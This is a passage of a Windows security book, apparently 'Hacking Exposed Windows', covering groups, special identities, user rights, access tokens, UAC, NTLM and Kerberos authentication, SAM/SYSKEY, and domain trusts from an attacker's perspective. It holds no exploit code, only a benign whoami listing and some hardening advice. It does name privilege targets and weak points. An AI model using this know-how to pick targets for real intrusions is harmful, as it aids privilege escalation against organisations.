attacker.\nGroups\nGroups are primarily an administrative convenience—they are logical containers for \naggregating user accounts. (They can also be used to set up e-mail distribution lists in \nWindows 2000 and later, which historically have had no security implications.)\nGroups are also used to allocate privileges in bulk, which can have a heavy impact on \nthe security of a system. Windows in its various flavors comes with built-in groups, \npredefined containers for users that also possess varying levels of privilege. Any account \nplaced within a group inherits those privileges. The simplest example of this is the \naddition of accounts to the local Administrators group, which essentially promotes the \nadded user to all-powerful status on the local machine. (You’ll see this attempted many \ntimes throughout this book.) Table 2-2 lists built-in groups in Windows Server 2003. \nOther versions of Windows may have fewer or different built-in groups, but those listed \nin Table 2-2 are the most common.\nAn organizational unit (OU) can be used in addition to groups to aggregate user accounts. OUs are \narbitrarily defined Active Directory constructs and don’t possess any inherent privileges like security \ngroup built-ins.\nWhen a Windows Server system is promoted to a domain controller, a series of predefined \ngroups are installed as well. The most powerful predefined groups include the Domain \nAdmins, who are all-powerful on a domain, and the Enterprise Admins, who are all-\npowerful throughout a forest. Table 2-3 lists the Windows Server 2003 predefined groups.\n" }, { "page_number": 54, "text": "26 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nGroup Name\nComment\nAccount Operators\nNot quite as powerful as Administrators, but close\nAdministrators\nMembers are all-powerful on the local machine (SID S-1-\n5-32-544)\nBackup Operators\nNot quite as powerful as Administrators, but close\nGuests\nSame privileges as Users\nHelpServicesGroup\nNew to Windows Server 2003; used for Help and Support \nCenter\nIIS_WPG\nNew in Windows Server 2003; if IIS is installed, this is the \nIIS Worker Process Group that runs application processes\nLocal Service\nNew in Windows Server 2003, this is a lesser-privileged \nhidden group designed for service accounts that don’t \nneed network access (instead of using SYSTEM)\nNetwork Confi guration \nOperators\nNew in Windows Server 2003, this group has \nenough privileges to manage network confi guration\nNetwork Service\nNew in Windows Server 2003, this is a lesser-privileged \nhidden group designed for service accounts requiring \nnetwork access (instead of using SYSTEM)\nPerformance Log Users\nNew in Windows Server 2003, this group has remote \naccess to schedule logging of performance counters\nPerformance Monitor \nUsers\nNew in Windows Server 2003, this group has remote \naccess to monitor the computer\nPower Users\nMore powerful than Users, but not as powerful as \nAdministrators\nPrint Operators\nNot quite as powerful as Administrators, but close\nRemote Desktop Users\nNew in Windows Server 2003, this is equivalent to \nTerminal Server users in prior versions\nReplicator\nUsed for fi le replication in a domain\nServer Operators\nNot quite as powerful as Administrators, but close\nTelnetClients\nNew in Windows Server 2003, members can access telnet \nservices if enabled\nTerminal Server License \nServers\nNew to Windows Server 2003, these machines can issue \nTermServ licenses\nUsers\nAll user accounts on the local machine; a low-privilege \ngroup (SID S-1-5-32-545)\nTable 2-2 Examples of Built-in Groups in Windows Server 2003\n" }, { "page_number": 55, "text": "Chapter 2: The Windows Security Architecture from the Hacker’s Perspective \n27\nGroup Name\nComment\nCert Publishers\nMembers are permitted to publish \ncertifi cates to the Active Directory\nDnsAdmins\nDNS administrators (only if Windows \nDNS is installed)\nDnsAdmins\nDNS administrators, domain local\nDnsUpdateProxy\nDNS clients who are permitted to \nperform dynamic updates on behalf \nof some other clients (such as DHCP \nservers; only if Windows DNS is \ninstalled)\nDomain Admins\nAll-powerful on the domain\nDomain Users\nAll domain users\nDomain Computers\nAll computers in the domain\nDomain Controllers\nAll domain controllers in the domain\nDomain Guests\nAll domain guests\nEnterprise Admins\nAll-powerful in the forest\nGroup Policy Creator Owners\nMembers can modify group policy for \nthe domain\nIncoming Forest Trust Builders\nMembers can create incoming, one-way \ntrusts to this forest\nPre-Windows 2000 Compatible \nAccess\nBackward compatibility group\nRAS and IAS Servers\nServers can access “remote access” \nproperties on user objects\nSchema Admins\nMembers can edit the directory schema; \nvery powerful\nWindows Authorization Access \nGroup\nMembers have access to the computed \ntokenGroupsGlobalAndUniversal \nattribute on User objects\nTable 2-3 Predefi ned Groups in Windows Server 2003\n" }, { "page_number": 56, "text": "28 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nTo summarize Windows groups from the malicious hacker’s perspective:\nMembers of the local Administrators group are the juiciest targets on a Windows system \nbecause members of this group inherit complete control of the local system. Domain \nAdmins and Enterprise Admins are the juiciest targets on a Windows domain because \nmembers of those groups are all-powerful on every (properly confi gured) machine in \nthe domain. All other groups possess very limited privileges relative to Administrators, \nDomain Admins, or Enterprise Admins. Becoming a local Administrator, Domain Admin, \nor Enterprise Admin (whether via directly compromising an existing account or by \nadding an already-compromised account to one of those groups) is thus almost always \nthe ultimate goal of an attacker.\nSpecial Identities\nIn addition to built-in groups, Windows has several special identities (sometimes called \nwell-known groups), which are containers for accounts that transitively pass through \ncertain states (such as being logged on via the network) or from certain places (such as \ninteractively at the keyboard). These identities can be used to fine tune access control to \nresources. For example, access to certain processes may be reserved for INTERACTIVE \nusers only (and thus blocked for all users authenticated via the network). These well-\nknown groups belong to the NT AUTHORITY “domain,” so to refer to their fully \nqualified name, you would say NT AUTHORITY\\Everyone, for example. Table 2-4 lists \nthe Windows special identities.\nSome key points worth noting about these special identities:\nThe Anonymous Logon group can be leveraged to gain a foothold on a Windows \nsystem without authenticating. Also, the INTERACTIVE identity is required in many \ninstances to execute privilege escalation attacks against Windows (see Chapter 7).\nRestricted Groups\nA pretty nifty concept that was introduced with Windows 2000, Restricted Groups allows \nan administrator to set a domain policy that restricts the membership of a given group. \nFor example, if an unauthorized user adds himself to the local Administrators group on \na domain member, upon the next Group Policy refresh, that account will be removed so \nthat membership reflects that which is defined by the Restricted Groups policy. These \nsettings are refreshed every 90 minutes on a member computer, every 5 minutes on a \ndomain controller, and every 16 hours whether or not changes have occurred.\nComputers (Machine Accounts)\nWhen a Windows system joins a domain, a computer account is created. Computer \naccounts are essentially user accounts that are used by machines to log on and access \nresources (thus, computers are also called machine accounts). This account name appends \na dollar sign ($) to the name of the machine (machinename$).\nAs you might imagine, to log on to a domain, computer accounts require passwords. \nComputer passwords are automatically generated and managed by domain controllers.\n(See the upcoming section “Forests, Trees, and Domains.”) Computer passwords are \n" }, { "page_number": 57, "text": "Chapter 2: The Windows Security Architecture from the Hacker’s Perspective \n29\notherwise stored and accessed just like any other user account password. (See the \nupcoming section “The SAM and Active Directory.”) By default, they are reset every 30 \ndays, but administrators can configure a different interval if they want.\nThe primary use for computer accounts is to create a secure channel between the \ncomputer and the domain controller for purposes of exchanging information. By default, \nthis secure channel is not encrypted (although some of the information that passes through \nit is already encrypted, such as password hashes), and its integrity is not checked (thus \nmaking it vulnerable to spoofing or man-in-the-middle attacks). For example, when a \nuser logs on to a domain from a domain member computer, the logon exchange occurs \nover the secure channel negotiated between the member and the domain controller.\nIdentity\nSID\nComment\nAnonymous Logon\nS-1-5-7\nSpecial hidden group that includes all \nusers who have authenticated with null \ncredentials\nAuthenticated Users\nS-1-5-11\nSpecial hidden group that includes all \ncurrently logged-on users\nINTERACTIVE\nS-1-5-4\nAll users logged on to the local system \nvia the physical console or Terminal \nServices\nEveryone\nS-1-1-0\nAll current network users, including \nguests and users from other domains\nNetwork\nS-1-5-2\nAll users logged on through a network \nconnection; access tokens for interactive \nusers do not contain the Network SID\nService\nS-1-5-6\nAll security principals that have \nlogged on as a service; membership is \ncontrolled by the operating system\nThis Organization\nS-1-5-15\nNew to Windows Server 2003, added \nby the authentication server to the \nauthentication data of a user, provided \nthe Other Organization SID is not \nalready present\nOther Organization\nS-1-5-1000\nNew to Windows Server 2003, causes \na check to ensure that a user from \nanother forest or domain is allowed to \nauthenticate to a particular service\nTable 2-4 Windows Special Identities (also called well-known groups)\n" }, { "page_number": 58, "text": "30 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nWe’ve never heard of a case where exploitation of a machine account has resulted in \na serious exposure, so we will not discuss this much in this book.\nUser Rights\nRecall the main goal of the attacker from the beginning of this chapter:\nTo execute commands in the most privileged context, in order to gain access to resources \nand data.\nWe’ve just described some of the “most privileged” user mode account contexts, such \nas Administrator and LocalSystem. What makes these accounts so powerful? In a word \n(two words, actually), user rights. User rights are a finite set of basic capabilities, such as \nlogging on locally or debugging programs. They are used in the access control model in\naddition to the standard comparing of access token SIDs to security descriptors. User \nrights are typically assigned to groups, since this makes them easier to manage than \nconstantly assigning them to individual users. This is why membership in groups is so \nimportant—because the group is typically the unit of privilege assignment.\nTwo types of user rights can be granted: logon rights and privileges. This is simply a \nsemantic classification to differentiate rights that apply before an account is authenticated \nand after, respectively. More than 40 discrete user rights are available in Windows Server \n2008 (code name Longhorn), and although each can heavily impact security, we discuss \nonly those that have traditionally had a large security impact. Table 2-5 outlines some of \nthe privileges we consider critical, along with our recommended configurations.\nNote that the “deny” rights supersede their corresponding “allow” rights if an \naccount is subject to both policies.\nSome user rights relevant to security were implemented in Windows Server 2003, \nincluding the following:\n• Allow logon through Terminal Services\n• Deny logon through Terminal Services\n• Impersonate a client after authentication\n• Perform volume maintenance tasks\nThe Terminal Services–related rights were implemented to address a gap in the \n“Allow/ deny access to this computer from the network” rights, which do not apply to \nTerminal Services. The “Impersonate a client after authentication” right was added to \nhelp mitigate privilege escalation attacks in which lower privileged services impersonated \nhigher privileged clients.\nLast but not least in our discussion of user rights is a reminder always to use the \nprinciple of least privilege. We see too many people logging on as Administrator-\nequivalent accounts to perform daily work. By taking the time up front to consider the \nappropriate user rights, most of the significant security vulnerabilities discussed in this \nbook can be alleviated. Log on as a lesser privileged user, and use the runas tool (see \nChapter 12) to escalate privileges when necessary.\n" }, { "page_number": 59, "text": "Chapter 2: The Windows Security Architecture from the Hacker’s Perspective \n31\nPUTTING IT ALL TOGETHER: ACCESS CONTROL\nNow that you know the players involved, let’s discuss the heart of the Windows security \nmodel: access control (authentication and authorization). How does the operating system \ndecide whether a security principal can access a protected resource?\nFirst, Windows must determine whether it is dealing with a valid security principal. \nThis is done via authentication. The simplest example is a user who logs on to Windows \nvia the console. The user strikes the standard CTRL-ALT-DEL attention signal to bring up the \nUser Right\nRecommendation\nComments\nDebug programs\nRemove all users and \ngroups (note that \nAdministrators can \nadd themselves back)\nAs you will see \nthroughout this book, \nDebug privilege is \ncommonly abused by \nhacker tools to access \nhighly sensitive portions \nof the operating system\nDeny access to this \ncomputer from the \nnetwork\nAnonymous Logon \n(SID S-1-5-7), \nAdministrator (RID \n500), service accounts, \nSupport_388945a0,\nand Guests\nMitigates abuse of local \nAdministrator account, \nwhich cannot be deleted \n(does not affect Terminal \nServer logon)\nDeny logon locally \n(interactive logon)\nService accounts\nMitigates abuse of \ndomain service account \ncredentials that are \ncaptured from a single \nvulnerable machine\nDeny logon through \nTerminal Services\nAdministrator (RID \n500), service accounts\nMitigates abuse of local \nAdministrator and service \naccount credentials via \nTerminal Server\nShut down the system\nAdd groups who \nrequire this privilege \nas part of job function\nWe’d rather see remote \nsupport personnel \ngiven this privilege \nthan simply elevated \nto Administrators\nTable 2-5 Recommendations for Assignment of Privileges\n" }, { "page_number": 60, "text": "32 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nWindows secure logon facility and then enters an account name and password. The \nsecure logon facility passes the entered credentials through the user mode components \nresponsible for validating them (primarily, LSASS). Assuming the credentials are valid, \nLSASS creates a token (or access token) that is then attached to the user’s logon session and \nis produced on any subsequent attempt to access resources.\nThe pre-Vista secure logon user interface can be Trojaned by Administrator-equivalent users, as we \nwill discuss in Chapter 7. Starting with Vista, a new credential provider (CP) framework makes such \nattacks obsolete, although a malicious CP is just as dangerous.\nOn Windows XP and later, press the WINDOWS key and L simultaneously to lock your desktop; this is an \nalternative to pressing CTRL-ALT-DELETE and then ENTER.\nThe Token\nThe token contains a list of all of the SIDs associated with the user account, including the \naccount’s SID, and the SIDs of all groups and special identities of which the user account \nis a member (for example, Domain Admins or INTERACTIVE). You can use a tool like \nwhoami (included by default beginning with Windows Server 2003) to discover what \nSIDs are associated with a logon session, as shown next (many lines have been truncated \ndue to page width constraints):\nC:\\>whoami /user /groups\nUSER INFORMATION\n----------------\nUser Name SID\n==================== =========================================\nvegas2\\jsmith S-1-5-21-1527495281-1310999511-3141325392-500\nGROUP INFORMATION\n-----------------\nGroup Name Type SID Attributes\n===============================================================\nEveryone Well-known group S-1-1-0\nMandatory group, Enabled by default, Enabled group\nBUILTIN\\Administrators Alias S-1-5-32-544\nMandatory group, Enabled by default, Enabled group, Group owner\nBUILTIN\\Users Alias S-1-5-32-545\nMandatory group, Enabled by default, Enabled group\nBUILTIN\\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554\n" }, { "page_number": 61, "text": "Chapter 2: The Windows Security Architecture from the Hacker’s Perspective \n33\nMandatory group, Enabled by default, Enabled group\nNT AUTHORITY\\INTERACTIVE Well-known group S-1-5-4\nMandatory group, Enabled by default, Enabled group\nNT AUTHORITY\\Authenticated Users Well-known group S-1-5-11\nMandatory group, Enabled by default, Enabled group\nNT AUTHORITY\\This Organization Well-known group S-1-5-15\nMandatory group, Enabled by default, Enabled group\nLOCAL Well-known group S-1-2-0\nMandatory group, Enabled by default, Enabled group\nVEGAS2\\Group Policy Creator Owners Group S-1-5-21-[cut]-520\nMandatory group, Enabled by default, Enabled group\nVEGAS2\\Domain Admins Group S-1-5-21-[cut]-512\nMandatory group, Enabled by default, Enabled group\nVEGAS2\\Schema Admins Group S-1-5-21-[cut]-518\nMandatory group, Enabled by default, Enabled group\nVEGAS2\\Enterprise Admins Group S-1-5-21-[cut]-519\nMandatory group, Enabled by default, Enabled group\nThis example shows that the current process is run in the context of user jsmith, who is a \nmember of Administrators and Authenticated Users and also belongs to the special \nidentities Everyone, LOCAL, and INTERACTIVE.\nWhen jsmith attempts to access a resource, such as a file, the Windows security \nsubsystem compares his token to the DACL on the object, which specifies SIDs that are \npermitted to access the object and includes the ways it may be accessed (such as read, \nwrite, execute, and so on). If one of the SIDs in jsmith’s token matches a SID in the DACL, \nthen jsmith is granted access as specified in the DACL. This process is diagrammed in \nFigure 2-2.\nImpersonation\nTo save network overhead, the Windows NT family was designed to impersonate a user \naccount context when it requests access to resources on a remote server. Impersonation \nworks by letting the server notify the security subsystem that it is temporarily adopting \nthe token of the client making the resource request. The server can then access resources \non behalf of the client, and the security subsystem validates all access as normal. The \nclassic example of impersonation is anonymous requests for web pages via IIS. IIS \nimpersonates the IUSR_machinename account during all of these requests.\nRestricted Token\nWindows 2000 introduced the restricted token. A restricted token is typically assigned to a \nchild process so that it has more limited access than its parent. For example, an application \nmight derive a restricted token from the primary or impersonation token to run an \nuntrusted code module if inappropriate actions could be performed using the primary \ntoken’s full privileges.\n" }, { "page_number": 62, "text": "34 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nRestricted tokens are created by making any of the following changes to the original \naccess token:\n• Removing privileges\n• Applying the deny-only attribute to SIDs\n• Adding a list of restricted SIDs\nWhen a restricted process or thread tries to access a securable object, the system \nperforms two access checks against the object’s DACL:\n• Compares the token’s enabled and deny-only SIDs\n• Compares the list of restricted SIDs\nAccess is granted only if both access checks allow the requested access rights.\nFigure 2-2 The Windows access control model\nFile.txt\nDACL for File.txt\nREAD\n= jsmith S-1-5-21-etc.-1000\nWRITE\n= Administrators S-1-5-32-\n544\nToken\nUser\n= jsmith S-1-5-21-etc.-1000\nGroup 1\n= Everyone S-1-1-0\nGroup 2\n= Administrators S-1-5-32-\n544\nGroup 4\n= INTERACTIVE” S-1-5-4\nAuthenticates\nwith account\nname/password\nUser jsmith\nSuccess!\nPermit!\nSRM\nWinLogon\n" }, { "page_number": 63, "text": "Chapter 2: The Windows Security Architecture from the Hacker’s Perspective \n35\nDelegation\nDelegation was a new feature in Windows 2000 that allowed a service to impersonate a \nuser account or computer account to access resources throughout the domain. Windows \n2000 had two limitations with regards to this feature:\n• Delegation could not be constrained; that is, a delegated account could access \nany resource in the domain.\n• Delegation required Kerberos authentication.\nBoth of these shortcomings were addressed in Windows Server 2003. Delegation can \nnow be constrained to specific services, and Kerberos is no longer required.\nYou still must beware of trusting computer accounts for delegation, as this allows the LocalSystem \naccount on that computer to access services on the domain.\nIntegrity Levels, UAC, and LoRIE\nWith Windows Vista, Microsoft implemented an extension to the basic system of \ndiscretionary access control we just described. The primary intent of this change was to \nimplement mandatory access control in certain scenarios. For example, actions that require \nadministrative privilege would require a further authorization, beyond that associated \nwith the user context access token. Microsoft termed this new architecture extension \nMandatory Integrity Control (MIC).\nTo accomplish mandatory access control–like behavior, MIC effectively implements \na new set of four security principals called Integrity Levels (ILs) that can be added to \naccess tokens and ACLs:\n• Low\n• Medium\n• High\n• System\nILs are implemented as SIDs, just like any other security principal. Now, in addition \nto the standard access control check we described earlier in the chapter, Windows will \nalso check whether the IL of the requesting access token matches the IL of the target \nresource. For example, a Medium-IL process may be blocked from reading, writing, or \nexecuting “up” to a High-IL object.\nMIC isn’t directly visible when using Vista, but rather it serves as the underpinning \nof some of the key new security features in the OS: User Account Control (UAC) and \nLow Rights Internet Explorer (LoRIE). We’ll talk briefly about them to show how MIC \nworks in practice.\nUAC (it was named Least User Access, or LUA, in pre-release versions of Vista) is \nperhaps the most visible new security feature in Vista. It works as follows:\n \n1. Developers “mark” applications by embedding an application manifest (available \nsince XP) to tell the operating system whether the application needs elevated \nprivileges.\n" }, { "page_number": 64, "text": "36 \nHacking Exposed Windows: Windows Security Secrets & Solutions \n \n2. The LSA has been modifi ed to grant two tokens at logon to administrative \naccounts: a fi ltered token and a linked token. The fi ltered token has all elevated \nprivileges stripped out (using the restricted token mechanism described earlier).\n \n3. Applications are run by default using the fi ltered token; the full-privilege \nlinked token is used only when launching applications that are marked as \nrequiring elevated privileges.\n \n4. The user is prompted using a special consent environment (the rest of the \nsession is grayed out and inaccessible) whether they in fact want to launch \nthe program, and may be prompted for appropriate credentials if they are \nnot members of an administrative group.\nAssuming application developers are well-behaved, Vista thus achieves mandatory \naccess control of a sort: only specific applications can be launched with elevated \nprivileges.\nHere’s how UAC uses MIC: All non-administrative user processes run with Medium-\nIL by default. Once a process has been “elevated” using UAC, it runs with High-IL, and \ncan thus access objects at that level. Thus, it’s now “mandatory” to have High-IL \nprivileges to access certain objects within Windows.\nMIC also underlies the LoRIE implementation in Vista: The Internet Explorer process \n(iexplore.exe) runs at Low-IL and, in a system with default configuration, can write only \nto objects that are labeled with Low-IL SIDs (by default, this includes only the folder \n%USERPROFILE%\\AppData\\LocalLow and the Registry key HKCU\\Software\\\nAppDataLow). LoRIE thus cannot write to any other object in the system by default, \ngreatly restricting the damage that can be done if the process gets compromised by \nmalware while browsing the Internet.\nIn the Vista release, provisions are in place to allow unmarked code to run with administrative \nprivileges. In future releases, the only way to run an application elevated will be to have a signed \nmanifest that identifies the privilege level the application needs.\nUAC can be disabled system-wide under the User Accounts Control Panel, Turn User Account Control \nOff setting,\nSecurity researcher Joanna Rutkowska wrote some interesting criticisms of UAC and \nMIC in Vista at http://theinvisiblethings.blogspot.com/2007/02/running-vista-every-\nday.html. Windows technology guru Jesper Johansson has written some insightful \narticles on UAC in his blog at http://msinfluentials.com/blogs/jesper/.\nNetwork Authentication\nLocal authentication to Windows via the CTRL-ALT-DEL attention signal is straightforward, \nas we have described. However, logging on to Windows via the network, the primary \ngoal of the malicious hacker, involves exploiting network authentication. We will discuss \nthis briefly here to inform discussions in later chapters on several weaknesses associated \nwith some components of Windows network authentication protocols.\n" }, { "page_number": 65, "text": "Chapter 2: The Windows Security Architecture from the Hacker’s Perspective \n37\nThe NT family primarily utilizes challenge/response authentication, wherein the server \nissues a random value (the challenge) to the client, which then performs a cryptographic \nhashing function on it using the hash of the user’s password and sends this newly hashed \nvalue (the response) back to the server. The server then takes its copy of the user’s hash \nfrom the local Security Accounts Manager (SAM) or Active Directory (AD), hashes the \nchallenge it just sent, and compares it to the client’s response. Thus, no passwords ever\ntraverse the wire during NT family authentication, even in encrypted form. The challenge/\nresponse mechanism is illustrated in Figure 2-3 and is described more fully in Knowledge \nBase (KB) article Q102716.\nFigure 2-3 LM/NTLM challenge/response authentication\nAD or\nSAM\nShared secret:\nuser’s password hash\n(never passed on the wire)\nWinLogon\nCleartext password\nis hashed\n8-byte challenge\n8-byte challenge\nResponse\nResponse\nChallenge hashed with\nuser’s password hash\nChallenge hashed with\nuser’s password hash\n(1) Client requests logon\n(2) Server issues 8-byte challenge\n(3) Client hashes challenge with user’s\npassword hash, sends response to server\n(4) Server compares response with hash\nof challenge and grants or denies logon\nUser’s password hash\nfrom SAM or AD\nUser enters password\n" }, { "page_number": 66, "text": "38 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nStep 3 of this diagram is the most critical. The NT family can use one of three different \nhashing algorithms to scramble the 8-byte challenge:\n• LANMan (LM) hash\n• NTLM hash\n• NTLM version 2 (NTLMv2)\nIn Chapter 5, we discuss a weakness with the LM hash that allows an attacker with \nthe ability to eavesdrop on the network to guess the password hash itself relatively \neasily; the hacker can then use it to attempt to guess the actual password offline—even \nthough the password hash never traverses the network!\nTo combat this, Microsoft released an improved NT-only algorithm, NTLM, with NT \n4 Service Pack 3 and a further secured version in NT 4 SP4 called NTLM v2. Windows \n95/98 clients do not natively implement NTLM, so the security offered by NTLM and \nNTLMv2 was not typically deployed on mixed networks in the past. (The DSClient \nutility that comes on the Windows 2000 CD-ROM upgrades Windows 9x clients so that \nthey can perform NTLM and NTLMv2 authentication.)\nHomogeneous Windows 2000 and later environments can use the built-in Kerberos \nv5 protocol that was introduced in Windows 2000. However, Windows Server 2003 is \ncompletely backward-compatible with LM, NTLM, and NTLMv2 and will downgrade \nto the appropriate authentication protocol if Kerberos cannot be negotiated. Kerberos \nwill be used only if both client and server support it, both machines are referenced by \ntheir DNS or machine name (not IP address), and both the client and server belong to the \nsame forest (unless a third-party Kerberos implementation is used).\nAs we discuss in Chapter 5, Kerberos is susceptible to eavesdropping attacks.\nTable 2-6 presents a quick summary of Windows NT family network authentication \nmechanisms.\nFor simplicity’s sake, we have purposely left out of this discussion consideration of \nMicrosoft Challenge Handshake Authentication Protocol (MS-CHAP), which is used for \nremote access; web-based authentication protocols like HTTP Basic and Digest; Remote \nAuthentication Dial-In User Service (RADIUS); and a few others. Although these protocols \nare slightly different from what we have described so far, they still depend on the four core \nprotocols described in Table 2-6, which are used in some form or another to authenticate all \nnetwork access.\nNetwork Sharing and Security Model for Local Accounts\nBeginning with Windows XP, Microsoft implemented some changes to the way access \ncontrol is applied to shared resources. In local or domain Security Policy, under the \nsetting entitled Network Access: Sharing And Security Model For Local Accounts, the \nfollowing two options are configurable:\n• Classic Local users authenticate as themselves.\n• Guest Only Local users always authenticate as Guest.\n" }, { "page_number": 67, "text": "Chapter 2: The Windows Security Architecture from the Hacker’s Perspective \n39\nThe Guest Only setting could be helpful for systems with lots of file shares to force \nequivalent levels of access across all shares. We recommend sticking with Classic, \nhowever, as we believe it’s better to be explicit about access control.\nThe SAM and Active Directory\nNow that we’ve provided an overview of security principals and capabilities, let’s \nexplore in more detail how objects such as accounts and passwords are managed in \nWindows. On all Windows computers, the SAM contains user account name and \npassword information. The password information is kept in a scrambled format such \nthat it cannot be unscrambled using known techniques (although the scrambled value \ncan still be guessed, as you will see in Chapter 7). The scrambling procedure is called a \none-way function (OWF), or hashing algorithm, and it results in a hash value that cannot \nbe decrypted. We will refer to the password hashes a great deal in this book. The SAM \nmakes up one of the five Registry hives and is implemented in the file %systemroot%\\\nsystem32\\config\\sam.\nOn Windows Server 2000 and later domain controllers, user account/hash data for \nthe domain is kept in the Active Directory (%systemroot%\\ntds\\ntds.dit, by default). \nThe hashes are kept in the same format, but they must be accessed via different means.\nSYSKEY\nUnder NT, password hashes were stored directly in the SAM file. Starting with NT 4 \nService Pack 3, Microsoft provided the ability to add another layer of encryption to the \nSAM hashes, called SYSKEY. SYSKEY, short for SYStem KEY, essentially derived a \nrandom 128-bit key and encrypted the hashes again (not the SAM file itself, just the \nAuthentication \nType\nSupported Clients\nComments\nLANMan\nAll\nWindows 9x must use this, but it is \nsusceptible to eavesdropping attacks; \nDSClient allows Windows 9x to use NTLM\nNTLM\nNT 4 SP3, \nWindows Server \n2000 and later\nMuch more robust security than LANMan\nNTLMv2\nNT4 post-SP4, \nWindows Server \n2000 and later\nImproved security over NTLM; \nrecommended for heterogeneous \nNT4/2000 environments\nKerberos\nWindows Server \n2000 and later\nUsed only if end-to-end Windows 2000 or \ngreater and intra-forest\nTable 2-6 Core Windows Network Authentication Mechanisms\n" }, { "page_number": 68, "text": "40 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nhashes). To enable SYSKEY on NT 4, you have to run the SYSKEY command, which \npresents a window like the following:\nClicking the Update button in this window presents further SYSKEY options, namely \nthe ability to determine how or where the SYSKEY is stored. The SYSKEY can be stored \nin one of three ways:\n• Mode 1 Stored in the Registry and made available automatically at boot time \n(this is the default)\n• Mode 2 Stored in the Registry but locked with a password that must be \nsupplied at boot time\n• Mode 3 Stored on a fl oppy disk that must be supplied at boot time\nThe following illustration shows how these modes are selected:\nModern Windows versions (up to and including Server 2008) still implement SYSKEY \nMode 1 by default, and thus passwords stored in either the SAM or Active Directory are \nencrypted with SYSKEY as well as hashed. It does not have to be enabled manually, as \n" }, { "page_number": 69, "text": "Chapter 2: The Windows Security Architecture from the Hacker’s Perspective \n41\nwith NT 4 SP3 and later. In Chapters 7 and 11, we discuss the implications of SYSKEY \nand mechanisms to circumvent it.\nFORESTS, TREES, AND DOMAINS\nTo this point, we have been discussing the Windows NT family in the context of individual \ncomputers. A group of Windows NT family systems can be aggregated into a logical unit \ncalled a domain. Windows domains can be created arbitrarily simply by promoting one \nor several Windows Servers to a domain controller (DC). Domain controllers are secured \nstorage repositories for shared domain information and also serve as the centralized \nauthentication authorities for the domain. In essence, a domain sets a distributed \nboundary for shared accounts. All systems in the domain share a subset of accounts. \nUnlike NT, which specified single-master replication from primary domain controllers \n(PDCs) to backup domain controllers (BDCs), Windows 2000 and later domain controllers \nare all peers and engage in multi-master replication of the shared domain information.\nOne of the biggest impacts of the shift to Active Directory in Windows 2000 was that \ndomains were no longer the logical administrative boundary they once were under NT. \nSupra-domain structures, called trees and forests, exist above domains in the hierarchy of \nActive Directory. Trees are related mostly to naming conventions and have few security \nimplications, but forests demarcate the boundary of Windows 2000 and later directory \nservices and are thus the ultimate boundary of administrative control. Figure 2-4 shows \nthe structure of a sample Windows Server 2003 forest.\nFigure 2-4 The structure of Windows forests\nbranch.corp.com\nsecure.corp.com\ncorp.com\nbranch.division.com\n(Forest Root, first domain forest)\nForest\nTree\nDomain\nTwo-way transitive trusts\nthroughout forest\ndivision.com\n" }, { "page_number": 70, "text": "42 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nAlthough we’re glossing over a great deal of detail about Active Directory, we are \ngoing to stop this discussion here to keep focused on the aspect of domains that are the \nprimary target for malicious attackers: account information.\nScope: Local, Global, and Universal\nYou’ve probably noticed the continuing references to local accounts and groups versus \nglobal and universal accounts. Under NT, members of local groups had the potential to \naccess resources within the scope of the local machine, whereas members of global groups \nwere potentially able to access resources domain-wide. Local groups can contain global \ngroups, but not vice versa, because local groups have no meaning in the context of a \ndomain. Thus, a typical strategy would be to add domain users (aggregated in a global \ngroup to ease administrative burden) to a local group to define access control to local \nresources. For example, when a computer joins a domain, the Domain Admins global \ngroup is automatically added to the Local Administrators group, allowing any members \nof Domain Admins to authenticate to and access all resources on the computer.\nActive Directory complicates this somewhat. Table 2-7 lists the scopes relevant to AD.\nDepending on the mode of the domain (native versus mixed-mode—see “References \nand Further Reading”), these types of groups have different limitations and behaviors.\nScope\nDescription\nMembers May Include\nMay Be Granted \nAccess to Resources on\nLocal\nIntra-computer\nAccounts, global \ngroups, and universal \ngroups from any\ndomain\nLocal computer only\nDomain\nLocal\nIntra-domain\nAccounts, global \ngroups, and universal \ngroups from any\ndomain; domain local \ngroups from the same\ndomain\nOnly in the same\ndomain\nGlobal\nInterdomain\nAccounts and global \ngroups from the same\ndomain\nAny domain in the \nforest\nUniversal\nForest-wide\nAccounts, global \ngroups, and universal \ngroups from any\ndomain\nAny domain in the \nforest\nTable 2-7 Account Scopes\n" }, { "page_number": 71, "text": "Chapter 2: The Windows Security Architecture from the Hacker’s Perspective \n43\nTrusts\nWindows can form interdomain relationships called trusts. Trust relationships only \ncreate the potential for interdomain access; they do not explicitly enable it. A trust \nrelationship is thus often explained as building a bridge without lifting the tollgate. For \nexample, a trusting domain may use security principals from the trusted domain to \npopulate access control lists (ACLs) on resources, but this is only at the discretion of the \nadministrators of the trusting domain and is not inherently set up.\nTrusts can be said to be one-way or two-way. A one-way trust means that only one \ndomain trusts the other, not vice versa. Two-way trusts define two domains that trust \neach other. A one-way trust is useful for allowing administrators in one domain to \ndefine access control rules within their domain, but not vice versa.\nTrusts can also be transitive or nontransitive. In transitive trusts, if Domain A transitively \ntrusts Domain B and Domain B transitively trusts Domain C, then Domain A transitively \ntrusts Domain C.\nBy default, all domains within a (post-NT) Windows forest have transitive, two-way trusts \nbetween each other. Windows can establish one-way, nontransitive trusts to other domains \noutside of the forest or to legacy NT domains. It can also establish trusts with other \nforests. (See the upcoming section “Forest Trusts.”)\nAdministrative Boundaries: Forest or Domain?\nWe are frequently asked the question, “What is the actual security boundary within a \nWindows forest—a domain or the forest?” The short answer to this question is that \nwhile the domain is the primary administrative boundary, it is no longer the airtight \nsecurity boundary that it was under NT, for several reasons.\nOne reason is the existence of universal groups that may be granted privileges in \nany domain within the forest because of the two-way transitive trusts that are \nautomatically established between every domain within the forest. For example, \nconsider members of the Enterprise Admins and Schema Admins who are granted \naccess to certain aspects of child forests by default. These permissions must be manually \nremoved to prevent members of these groups from performing actions within a given \ndomain.\nYou must also be concerned about Domain Admins from all other domains within \nthe forest. A little-known fact about Active Directory forests, as stated in the Windows \n2000 Server Resource Kit Deployment Planning Guide, is that “Domain Administrators of \nany domain in the forest have the potential to take ownership and modify any \ninformation in the Configuration container of Active Directory. These changes will be \navailable and replicate to all domain controllers in the forest. Therefore, for any domain 